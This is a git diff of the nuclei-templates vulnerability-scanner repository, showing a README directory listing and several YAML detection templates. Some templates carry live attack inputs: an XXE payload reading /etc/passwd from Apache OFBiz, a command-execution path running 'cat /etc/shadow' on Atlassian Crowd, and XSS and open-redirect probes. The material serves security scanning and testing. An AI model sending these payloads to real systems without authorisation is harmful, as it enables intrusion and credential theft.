||||
│ ├── wordpress-emergency-script.yaml
|
||||
│ ├── wordpress-installer-log.yaml
|
||||
│ ├── wordpress-tmm-db-migrate.yaml
|
||||
│ ├── wordpress-user-enumeration.yaml
|
||||
│ ├── wsdl-detect.yaml
|
||||
│ ├── xprober-service.yaml
|
||||
│ └── zip-backup-files.yaml
|
||||
├── exposed-panels
|
||||
│ ├── active-admin-exposure.yaml
|
||||
│ ├── activemq-panel.yaml
|
||||
│ ├── adminer-panel.yaml
|
||||
│ ├── aims-password-mgmt-client.yaml
|
||||
│ ├── airflow-exposure.yaml
|
||||
│ ├── ambari-exposure.yaml
|
||||
│ ├── ansible-tower-exposure.yaml
|
||||
│ ├── atlassian-crowd-panel.yaml
|
||||
│ ├── cisco-asa-panel.yaml
|
||||
│ ├── citrix-adc-gateway-detect.yaml
|
||||
│ ├── citrix-vpn-detect.yaml
|
||||
│ ├── compal-panel.yaml
|
||||
│ ├── couchdb-exposure.yaml
|
||||
│ ├── couchdb-fauxton.yaml
|
||||
│ ├── crxde.yaml
|
||||
│ ├── django-admin-panel.yaml
|
||||
│ ├── druid-console-exposure.yaml
|
||||
│ ├── exposed-pagespeed-global-admin.yaml
|
||||
│ ├── exposed-webalizer.yaml
|
||||
│ ├── flink-exposure.yaml
|
||||
│ ├── fortinet-fortigate-panel.yaml
|
||||
│ ├── fortiweb-panel.yaml
|
||||
│ ├── github-enterprise-detect.yaml
|
||||
│ ├── gitlab-detect.yaml
|
||||
│ ├── globalprotect-panel.yaml
|
||||
│ ├── go-anywhere-client.yaml
|
||||
│ ├── grafana-detect.yaml
|
||||
│ ├── hadoop-exposure.yaml
|
||||
│ ├── identityguard-selfservice-entrust.yaml
|
||||
│ ├── iomega-lenovo-emc-shared-nas-detect.yaml
|
||||
│ ├── jira-detect.yaml
|
||||
│ ├── jmx-console.yaml
|
||||
│ ├── kafka-connect-ui.yaml
|
||||
│ ├── kafka-monitoring.yaml
|
||||
│ ├── kafka-topics-ui.yaml
|
||||
│ ├── kubernetes-dashboard.yaml
|
||||
│ ├── manage-engine-admanager-panel.yaml
|
||||
│ ├── mobileiron-login.yaml
|
||||
│ ├── netscaler-gateway.yaml
|
||||
│ ├── network-camera-detect.yaml
|
||||
│ ├── oipm-detect.yaml
|
||||
│ ├── parallels-html-client.yaml
|
||||
│ ├── phpmyadmin-panel.yaml
|
||||
│ ├── polycom-admin-detect.yaml
|
||||
│ ├── prometheus-exporter-detect.yaml
|
||||
│ ├── public-tomcat-manager.yaml
|
||||
│ ├── pulse-secure-panel.yaml
|
||||
│ ├── rabbitmq-dashboard.yaml
|
||||
│ ├── rocketmq-console-exposure.yaml
|
||||
│ ├── rsa-self-service.yaml
|
||||
│ ├── sap-hana-xsengine-panel.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── sap-recon-detect.yaml
|
||||
│ ├── selenoid-ui-exposure.yaml
|
||||
│ ├── setup-page-exposure.yaml
|
||||
│ ├── solarwinds-orion.yaml
|
||||
│ ├── solr-exposure.yaml
|
||||
│ ├── sonarqube-login.yaml
|
||||
│ ├── sonicwall-management-panel.yaml
|
||||
│ ├── sonicwall-sslvpn-panel.yaml
|
||||
│ ├── sophos-fw-version-detect.yaml
|
||||
│ ├── supervpn-panel.yaml
|
||||
│ ├── tikiwiki-cms.yaml
|
||||
│ ├── tomcat-manager-pathnormalization.yaml
|
||||
│ ├── traefik-dashboard.yaml
|
||||
│ ├── virtual-ema-detect.yaml
|
||||
│ ├── weave-scope-dashboard-detect.yaml
|
||||
│ ├── webeditors.yaml
|
||||
│ ├── webmin-panel.yaml
|
||||
│ ├── workspace-one-uem.yaml
|
||||
│ ├── workspaceone-uem-airwatch-dashboard-detect.yaml
|
||||
│ ├── yarn-manager-exposure.yaml
|
||||
│ └── zipkin-exposure.yaml
|
||||
├── exposed-tokens
|
||||
│ ├── aws
|
||||
│ │ ├── amazon-mws-auth-token-value.yaml
|
||||
│ │ └── aws-access-key-value.yaml
|
||||
│ ├── generic
|
||||
│ │ ├── credentials-disclosure.yaml
|
||||
│ │ ├── general-tokens.yaml
|
||||
│ │ └── http-username-password.yaml
|
||||
│ ├── google
|
||||
│ │ ├── fcm-server-key.yaml
|
||||
│ │ └── google-api-key.yaml
|
||||
│ ├── mailchimp
|
||||
│ │ └── mailchimp-api-key.yaml
|
||||
│ └── slack
|
||||
│ └── slack-access-token.yaml
|
||||
├── exposures
|
||||
│ ├── apis
|
||||
│ │ ├── swagger-api.yaml
|
||||
│ │ ├── wadl-api.yaml
|
||||
│ │ └── wsdl-api.yaml
|
||||
│ ├── backups
|
||||
│ │ ├── sql-dump.yaml
|
||||
│ │ └── zip-backup-files.yaml
|
||||
│ ├── configs
|
||||
│ │ ├── airflow-configuration-exposure.yaml
|
||||
│ │ ├── alibaba-canal-info-leak.yaml
|
||||
│ │ ├── amazon-docker-config-disclosure.yaml
|
||||
│ │ ├── ansible-config-disclosure.yaml
|
||||
│ │ ├── composer-config.yaml
|
||||
│ │ ├── exposed-svn.yaml
|
||||
│ │ ├── git-config-nginxoffbyslash.yaml
|
||||
│ │ ├── git-config.yaml
|
||||
│ │ ├── htpasswd-detection.yaml
|
||||
│ │ ├── laravel-env.yaml
|
||||
│ │ ├── magento-config.yaml
|
||||
│ │ ├── opcache-status-exposure.yaml
|
||||
│ │ ├── owncloud-config.yaml
|
||||
│ │ ├── package-json.yaml
|
||||
│ │ ├── perl-status.yaml
|
||||
│ │ ├── phpinfo.yaml
|
||||
│ │ ├── rails-database-config.yaml
|
||||
│ │ ├── redmine-db-config.yaml
|
||||
│ │ ├── syfmony-profiler.yaml
|
||||
│ │ ├── symfony-database-config.yaml
|
||||
│ │ ├── symfony-profiler.yaml
|
||||
│ │ └── web-config.yaml
|
||||
│ ├── files
|
||||
│ │ ├── domcfg-page.yaml
|
||||
│ │ ├── drupal-install.yaml
|
||||
│ │ ├── ds_store.yaml
|
||||
│ │ ├── exposed-alps-spring.yaml
|
||||
│ │ ├── filezilla.yaml
|
||||
│ │ ├── lazy-file.yaml
|
||||
│ │ ├── server-private-keys.yaml
|
||||
│ │ └── xprober-service.yaml
|
||||
│ └── logs
|
||||
│ ├── elmah-log-file.yaml
|
||||
│ ├── error-logs.yaml
|
||||
│ ├── rails-debug-mode.yaml
|
||||
│ ├── struts-debug-mode.yaml
|
||||
│ └── trace-axd-detect.yaml
|
||||
├── fuzzing
|
||||
│ ├── arbitrary-file-read.yaml
|
||||
│ ├── basic-auth-bruteforce.yaml
|
||||
│ ├── directory-traversal.yaml
|
||||
│ ├── generic-lfi-fuzzing.yaml
|
||||
│ ├── iis-shortname.yaml
|
||||
│ └── wp-plugin-scan.yaml
|
||||
├── generic-detections
|
||||
│ ├── basic-xss-prober.yaml
|
||||
│ ├── general-tokens.yaml
|
||||
│ └── top-15-xss.yaml
|
||||
├── misc
|
||||
├── helpers
|
||||
│ ├── payloads
|
||||
│ │ ├── CVE-2020-5776.csv
|
||||
│ │ └── CVE-2020-6287.xml
|
||||
│ └── wordlists
|
||||
│ └── wp-plugins.txt
|
||||
├── miscellaneous
|
||||
│ ├── basic-cors-flash.yaml
|
||||
│ ├── dir-listing.yaml
|
||||
│ ├── htaccess-config.yaml
|
||||
@@ -271,93 +401,56 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── security.txt.yaml
|
||||
│ ├── trace-method.yaml
|
||||
│ ├── unencrypted-bigip-ltm-cookie.yaml
|
||||
│ ├── wp-xmlrpc.yaml
|
||||
│ └── xml-schema-detect.yaml
|
||||
├── panels
|
||||
│ ├── adminer-panel.yaml
|
||||
│ ├── aims-password-mgmt-client.yaml
|
||||
│ ├── atlassian-crowd-panel.yaml
|
||||
│ ├── cisco-asa-panel.yaml
|
||||
│ ├── citrix-adc-gateway-detect.yaml
|
||||
│ ├── citrix-vpn-detect.yaml
|
||||
│ ├── compal.yaml
|
||||
│ ├── crxde.yaml
|
||||
│ ├── docker-api.yaml
|
||||
│ ├── fortinet-fortigate-panel.yaml
|
||||
│ ├── github-enterprise-detect.yaml
|
||||
│ ├── gitlab-detect.yaml
|
||||
│ ├── globalprotect-panel.yaml
|
||||
│ ├── go-anywhere-client.yaml
|
||||
│ ├── grafana-detect.yaml
|
||||
│ ├── identityguard-selfservice-entrust.yaml
|
||||
│ ├── iomega-lenovo-emc-shared-nas-detect.yaml
|
||||
│ ├── jenkins-asyncpeople.yaml
|
||||
│ ├── jmx-console.yaml
|
||||
│ ├── kubernetes-pods.yaml
|
||||
│ ├── manage-engine-admanager-panel.yaml
|
||||
│ ├── mobileiron-login.yaml
|
||||
│ ├── netscaler-gateway.yaml
|
||||
│ ├── network-camera-detect.yaml
|
||||
│ ├── oipm-detect.yaml
|
||||
│ ├── parallels-html-client.yaml
|
||||
│ ├── phpmyadmin-panel.yaml
|
||||
│ ├── polycom-admin-detect.yaml
|
||||
│ ├── pulse-secure-panel.yaml
|
||||
│ ├── rabbitmq-dashboard.yaml
|
||||
│ ├── rsa-self-service.yaml
|
||||
│ ├── sap-hana-xsengine-panel.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── sap-recon-detect.yaml
|
||||
│ ├── solarwinds-orion.yaml
|
||||
│ ├── sonarqube-login.yaml
|
||||
│ ├── sonicwall-management-panel.yaml
|
||||
│ ├── sonicwall-sslvpn-panel.yaml
|
||||
│ ├── sophos-fw-version-detect.yaml
|
||||
│ ├── supervpn-panel.yaml
|
||||
│ ├── swagger-panel.yaml
|
||||
│ ├── tikiwiki-cms.yaml
|
||||
│ ├── traefik-dashboard.yaml
|
||||
│ ├── virtual-ema-detect.yaml
|
||||
│ ├── weave-scope-dashboard-detect.yaml
|
||||
│ ├── webeditors.yaml
|
||||
│ ├── webmin-panel.yaml
|
||||
│ ├── workspace-one-uem.yaml
|
||||
│ └── workspaceone-uem-airwatch-dashboard-detect.yaml
|
||||
├── payloads
|
||||
│ ├── CVE-2020-5776.csv
|
||||
│ └── CVE-2020-6287.xml
|
||||
├── security-misconfiguration
|
||||
├── misconfiguration
|
||||
│ ├── aem-groovyconsole.yaml
|
||||
│ ├── airflow-api-exposure.yaml
|
||||
│ ├── apache-tomcat-snoop.yaml
|
||||
│ ├── apc-info.yaml
|
||||
│ ├── aspx-debug-mode.yaml
|
||||
│ ├── basic-cors.yaml
|
||||
│ ├── aws-redirect.yaml
|
||||
│ ├── cgi-test-page.yaml
|
||||
│ ├── django-debug-detect.yaml
|
||||
│ ├── docker-registry.yaml
|
||||
│ ├── druid-monitor.yaml
|
||||
│ ├── drupal-user-enum-ajax.yaml
|
||||
│ ├── drupal-user-enum-redirect.yaml
|
||||
│ ├── elasticsearch.yaml
|
||||
│ ├── exposed-docker-api.yaml
|
||||
│ ├── exposed-kibana.yaml
|
||||
│ ├── exposed-service-now.yaml
|
||||
│ ├── front-page-misconfig.yaml
|
||||
│ ├── jenkins-stack-trace.yaml
|
||||
│ ├── jira-service-desk-signup.yaml
|
||||
│ ├── jira-unauthenticated-dashboards.yaml
|
||||
│ ├── jira-unauthenticated-popular-filters.yaml
|
||||
│ ├── jira-unauthenticated-projects.yaml
|
||||
│ ├── jira-unauthenticated-user-picker.yaml
|
||||
│ ├── hadoop-unauth.yaml
|
||||
│ ├── jkstatus-manager.yaml
|
||||
│ ├── jupyter-ipython-unauth.yaml
|
||||
│ ├── kubernetes-pods.yaml
|
||||
│ ├── larvel-debug.yaml
|
||||
│ ├── linkerd-ssrf-detect.yaml
|
||||
│ ├── manage-engine-ad-search.yaml
|
||||
│ ├── nginx-status.yaml
|
||||
│ ├── php-errors.yaml
|
||||
│ ├── php-fpm-status.yaml
|
||||
│ ├── put-method-enabled.yaml
|
||||
│ ├── rack-mini-profiler.yaml
|
||||
│ ├── salesforce-aura-misconfig.yaml
|
||||
│ ├── server-status-localhost.yaml
|
||||
│ ├── shell-history.yaml
|
||||
│ ├── sidekiq-dashboard.yaml
|
||||
│ ├── springboot-detect.yaml
|
||||
│ ├── springboot
|
||||
│ │ ├── springboot-configprops.yaml
|
||||
│ │ ├── springboot-env.yaml
|
||||
│ │ ├── springboot-heapdump.yaml
|
||||
│ │ ├── springboot-loggers.yaml
|
||||
│ │ ├── springboot-mappings.yaml
|
||||
│ │ └── springboot-trace.yaml
|
||||
│ ├── symfony-debugmode.yaml
|
||||
│ ├── tomcat-scripts.yaml
|
||||
│ ├── unauthenticated-airflow.yaml
|
||||
│ ├── unauthenticated-jenkin-dashboard.yaml
|
||||
│ ├── unauthenticated-nacos-access.yaml
|
||||
│ ├── wamp-xdebug-detect.yaml
|
||||
│ ├── wordpress-accessible-wpconfig.yaml
|
||||
│ └── zenphoto-installation-sensitive-info.yaml
|
||||
├── subdomain-takeover
|
||||
│ ├── detect-all-takeovers.yaml
|
||||
│ └── s3-subtakeover.yaml
|
||||
├── takeovers
|
||||
│ └── subdomain-takeover.yaml
|
||||
├── technologies
|
||||
│ ├── apache-detect.yaml
|
||||
│ ├── artica-web-proxy-detect.yaml
|
||||
@@ -366,97 +459,131 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── cacti-detect.yaml
|
||||
│ ├── clockwork-php-page.yaml
|
||||
│ ├── couchdb-detect.yaml
|
||||
│ ├── detect-springboot-actuator.yaml
|
||||
│ ├── favicon-detection.yaml
|
||||
│ ├── firebase-detect.yaml
|
||||
│ ├── google-storage.yaml
|
||||
│ ├── graphql.yaml
|
||||
│ ├── graylog-api-browser.yaml
|
||||
│ ├── home-assistant.yaml
|
||||
│ ├── jaspersoft-detect.yaml
|
||||
│ ├── jira-detect.yaml
|
||||
│ ├── jolokia.yaml
|
||||
│ ├── kibana-detect.yaml
|
||||
│ ├── kong-detect.yaml
|
||||
│ ├── liferay-portal-detect.yaml
|
||||
│ ├── linkerd-badrule-detect.yaml
|
||||
│ ├── linkerd-ssrf-detect.yaml
|
||||
│ ├── lotus-domino-version.yaml
|
||||
│ ├── lucee-detect.yaml
|
||||
│ ├── magmi-detect.yaml
|
||||
│ ├── mrtg-detect.yaml
|
||||
│ ├── netsweeper-webadmin-detect.yaml
|
||||
│ ├── nifi-detech.yaml
|
||||
│ ├── oidc-detect.yaml
|
||||
│ ├── pi-hole-detect.yaml
|
||||
│ ├── prometheus-exporter-detect.yaml
|
||||
│ ├── prometheus-exposed-panel.yaml
|
||||
│ ├── prtg-detect.yaml
|
||||
│ ├── redmine-cli-detect.yaml
|
||||
│ ├── s3-detect.yaml
|
||||
│ ├── sap-netweaver-as-java-detect.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── selea-ip-camera.yaml
|
||||
│ ├── shiro-detect.yaml
|
||||
│ ├── sql-server-reporting.yaml
|
||||
│ ├── tech-detect.yaml
|
||||
│ ├── telerik-dialoghandler-detect.yaml
|
||||
│ ├── telerik-fileupload-detect.yaml
|
||||
│ ├── terraform-detect.yaml
|
||||
│ ├── tomcat-detect.yaml
|
||||
│ ├── tor-socks-proxy.yaml
|
||||
│ ├── waf-detect.yaml
|
||||
│ ├── weblogic-detect.yaml
|
||||
│ └── werkzeug-debugger-detect.yaml
|
||||
├── tokens
|
||||
│ ├── amazon-mws-auth-token-value.yaml
|
||||
│ ├── aws-access-key-value.yaml
|
||||
│ ├── credentials-disclosure.yaml
|
||||
│ ├── fcm-server-key.yaml
|
||||
│ ├── google-api-key.yaml
|
||||
│ ├── http-username-password.yaml
|
||||
│ ├── mailchimp-api-key.yaml
|
||||
│ └── slack-access-token.yaml
|
||||
├── vulnerabilities
|
||||
│ ├── bullwark-momentum-series-directory-traversal.yaml
|
||||
│ ├── cached-aem-pages.yaml
|
||||
│ ├── couchdb-adminparty.yaml
|
||||
│ ├── crlf-injection.yaml
|
||||
│ ├── discourse-xss.yaml
|
||||
│ ├── easy-wp-smtp-listing.yaml
|
||||
│ ├── eclipse-help-system-xss.yaml
|
||||
│ ├── git-config-nginxoffbyslash.yaml
|
||||
│ ├── ibm-infoprint-directory-traversal.yaml
|
||||
│ ├── mcafee-epo-rce.yaml
|
||||
│ ├── microstrategy-ssrf.yaml
|
||||
│ ├── mida-eframework-xss.yaml
|
||||
│ ├── moodle-filter-jmol-lfi.yaml
|
||||
│ ├── moodle-filter-jmol-xss.yaml
|
||||
│ ├── nginx-module-vts-xss.yaml
|
||||
│ ├── nuuo-nvrmini2-rce.yaml
|
||||
│ ├── open-redirect.yaml
|
||||
│ ├── oracle-ebs-bispgraph-file-access.yaml
|
||||
│ ├── pdf-signer-ssti-to-rce.yaml
|
||||
│ ├── rails6-xss.yaml
|
||||
│ ├── rce-shellshock-user-agent.yaml
|
||||
│ ├── rce-via-java-deserialization.yaml
|
||||
│ ├── rconfig-rce.yaml
|
||||
│ ├── sassy-social-share.yaml
|
||||
│ ├── sick-beard-xss.yaml
|
||||
│ ├── springboot-actuators-jolokia-xxe.yaml
|
||||
│ ├── springboot-h2-db-rce.yaml
|
||||
│ ├── symantec-messaging-gateway.yaml
|
||||
│ ├── symfony-debugmode.yaml
|
||||
│ ├── tikiwiki-reflected-xss.yaml
|
||||
│ ├── tomcat-manager-pathnormalization.yaml
|
||||
│ ├── twig-php-ssti.yaml
|
||||
│ ├── vmware-vcenter-lfi-linux.yaml
|
||||
│ ├── vmware-vcenter-lfi.yaml
|
||||
│ ├── vpms-auth-bypass.yaml
|
||||
│ ├── w3c-total-cache-ssrf.yaml
|
||||
│ ├── wems-manager-xss.yaml
|
||||
│ ├── wordpress-emails-verification-for-woocommerce.yaml
|
||||
│ ├── wordpress-social-metrics-tracker.yaml
|
||||
│ ├── wordpress-wordfence-xss.yaml
|
||||
│ ├── wordpress-wpcourses-info-disclosure.yaml
|
||||
│ └── zms-auth-bypass.yaml
|
||||
├── wordlists
|
||||
│ └── wp-plugins.txt
|
||||
│ ├── generic
|
||||
│ │ ├── basic-cors.yaml
|
||||
│ │ ├── basic-xss-prober.yaml
|
||||
│ │ ├── crlf-injection.yaml
|
||||
│ │ ├── top-xss-params.yaml
|
||||
│ │ └── url-redirect.yaml
|
||||
│ ├── ibm
|
||||
│ │ ├── eclipse-help-system-xss.yaml
|
||||
│ │ └── ibm-infoprint-directory-traversal.yaml
|
||||
│ ├── jenkins
|
||||
│ │ ├── jenkins-asyncpeople.yaml
|
||||
│ │ ├── jenkins-stack-trace.yaml
|
||||
│ │ └── unauthenticated-jenkin-dashboard.yaml
|
||||
│ ├── jira
|
||||
│ │ ├── jira-service-desk-signup.yaml
|
||||
│ │ ├── jira-unauthenticated-dashboards.yaml
|
||||
│ │ ├── jira-unauthenticated-popular-filters.yaml
|
||||
│ │ ├── jira-unauthenticated-projects.yaml
|
||||
│ │ └── jira-unauthenticated-user-picker.yaml
|
||||
│ ├── moodle
|
||||
│ │ ├── moodle-filter-jmol-lfi.yaml
|
||||
│ │ └── moodle-filter-jmol-xss.yaml
|
||||
│ ├── oracle
|
||||
│ │ └── oracle-ebs-bispgraph-file-access.yaml
|
||||
│ ├── other
|
||||
│ │ ├── CNVD-2020-62422.yaml
|
||||
│ │ ├── acme-xss.yaml
|
||||
│ │ ├── aspnuke-openredirect.yaml
|
||||
│ │ ├── bullwark-momentum-lfi.yaml
|
||||
│ │ ├── cached-aem-pages.yaml
|
||||
│ │ ├── couchdb-adminparty.yaml
|
||||
│ │ ├── discourse-xss.yaml
|
||||
│ │ ├── mcafee-epo-rce.yaml
|
||||
│ │ ├── microstrategy-ssrf.yaml
|
||||
│ │ ├── mida-eframework-xss.yaml
|
||||
│ │ ├── nginx-module-vts-xss.yaml
|
||||
│ │ ├── nuuo-nvrmini2-rce.yaml
|
||||
│ │ ├── pdf-signer-ssti-to-rce.yaml
|
||||
│ │ ├── rce-shellshock-user-agent.yaml
|
||||
│ │ ├── rce-via-java-deserialization.yaml
|
||||
│ │ ├── rconfig-rce.yaml
|
||||
│ │ ├── sick-beard-xss.yaml
|
||||
│ │ ├── sonicwall-sslvpn-shellshock.yaml
|
||||
│ │ ├── symantec-messaging-gateway.yaml
|
||||
│ │ ├── thinkific-redirect.yaml
|
||||
│ │ ├── tikiwiki-reflected-xss.yaml
|
||||
│ │ ├── twig-php-ssti.yaml
|
||||
│ │ ├── vpms-auth-bypass.yaml
|
||||
│ │ ├── wems-manager-xss.yaml
|
||||
│ │ ├── wooyun-path-traversal.yaml
|
||||
│ │ ├── yarn-resourcemanager-rce.yaml
|
||||
│ │ └── zms-auth-bypass.yaml
|
||||
│ ├── rails
|
||||
│ │ └── rails6-xss.yaml
|
||||
│ ├── springboot
|
||||
│ │ ├── springboot-actuators-jolokia-xxe.yaml
|
||||
│ │ └── springboot-h2-db-rce.yaml
|
||||
│ ├── thinkphp
|
||||
│ │ ├── thinkphp-2-rce.yaml
|
||||
│ │ ├── thinkphp-5022-rce.yaml
|
||||
│ │ ├── thinkphp-5023-rce.yaml
|
||||
│ │ └── thinkphp-509-information-disclosure.yaml
|
||||
│ ├── vmware
|
||||
│ │ ├── vmware-vcenter-lfi-linux.yaml
|
||||
│ │ └── vmware-vcenter-lfi.yaml
|
||||
│ └── wordpress
|
||||
│ ├── easy-wp-smtp-listing.yaml
|
||||
│ ├── sassy-social-share.yaml
|
||||
│ ├── w3c-total-cache-ssrf.yaml
|
||||
│ ├── wordpress-accessible-wpconfig.yaml
|
||||
│ ├── wordpress-db-backup.yaml
|
||||
│ ├── wordpress-debug-log.yaml
|
||||
│ ├── wordpress-directory-listing.yaml
|
||||
│ ├── wordpress-emails-verification-for-woocommerce.yaml
|
||||
│ ├── wordpress-emergency-script.yaml
|
||||
│ ├── wordpress-installer-log.yaml
|
||||
│ ├── wordpress-social-metrics-tracker.yaml
|
||||
│ ├── wordpress-tmm-db-migrate.yaml
|
||||
│ ├── wordpress-user-enumeration.yaml
|
||||
│ ├── wordpress-wordfence-xss.yaml
|
||||
│ ├── wordpress-wpcourses-info-disclosure.yaml
|
||||
│ ├── wp-enabled-registration.yaml
|
||||
│ └── wp-xmlrpc.yaml
|
||||
└── workflows
|
||||
├── artica-web-proxy-workflow.yaml
|
||||
├── basic-auth-workflow.yaml
|
||||
├── bigip-workflow.yaml
|
||||
├── cisco-asa-workflow.yaml
|
||||
├── grafana-workflow.yaml
|
||||
@@ -470,19 +597,38 @@ An overview of the nuclei template directory including number of templates and H
|
||||
├── sap-netweaver-workflow.yaml
|
||||
├── solarwinds-orion-workflow.yaml
|
||||
├── springboot-workflow.yaml
|
||||
├── thinkphp-workflow.yaml
|
||||
├── vbulletin-workflow.yaml
|
||||
└── wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**24 directories, 417 files**.
|
||||
**56 directories, 501 files**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
📖 Documentation
|
||||
-----
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
|
||||
|
||||
💪 Contributions
|
||||
-----
|
||||
|
||||
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
|
||||
💬 Discussion
|
||||
-----
|
||||
|
||||
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
|
||||
👨💻 Community
|
||||
-----
|
||||
|
||||
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
|
||||
💡 Notes
|
||||
-----
|
||||
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
|
||||
|
||||
------
|
||||
**Notes:**
|
||||
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}/cgi-bin/status"
|
||||
- "{{BaseURL}}/cgi-bin/stats"
|
||||
- "{{BaseURL}}/cgi-bin/test"
|
||||
|
||||
@@ -2,7 +2,7 @@ id: CVE-2017-9506
|
||||
|
||||
info:
|
||||
name: Jira IconURIServlet SSRF
|
||||
author: Ice3man
|
||||
author: pd-team
|
||||
severity: high
|
||||
description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
|
||||
|
||||
|
||||
@@ -11,7 +11,6 @@ requests:
|
||||
path:
|
||||
- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
- "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
id: CVE-2018-7251
|
||||
|
||||
info:
|
||||
name: AnchorCMS Error Log Exposure
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/anchor/errors.log'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '"date":'
|
||||
- '"message":'
|
||||
- '"trace":['
|
||||
condition: and
|
||||
@@ -0,0 +1,20 @@
|
||||
id: CVE-2018-8006
|
||||
|
||||
info:
|
||||
name: Apache ActiveMQ XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '"><script>alert("1")</script>'
|
||||
- type: word
|
||||
words:
|
||||
- "/html"
|
||||
part: header
|
||||
@@ -0,0 +1,28 @@
|
||||
id: CVE-2018-8033
|
||||
|
||||
info:
|
||||
name: Apache OFBiz XXE
|
||||
author: pikpikcu
|
||||
severity: high
|
||||
description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /webtools/control/xmlrpc HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,15 @@
|
||||
id: CVE-2019-10092
|
||||
|
||||
info:
|
||||
name: Apache mod_proxy HTML Injection / Partial XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/%5cgoogle.com/evil.html'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<a href=\"/\\google.com/evil.html\">"
|
||||
@@ -24,7 +24,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
|
||||
- "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
id: CVE-2019-14223
|
||||
|
||||
info:
|
||||
name: Alfresco Share Open Redirect
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/share/page/dologin'
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"
|
||||
@@ -11,14 +11,14 @@ info:
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
- "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
- '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
|
||||
- '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
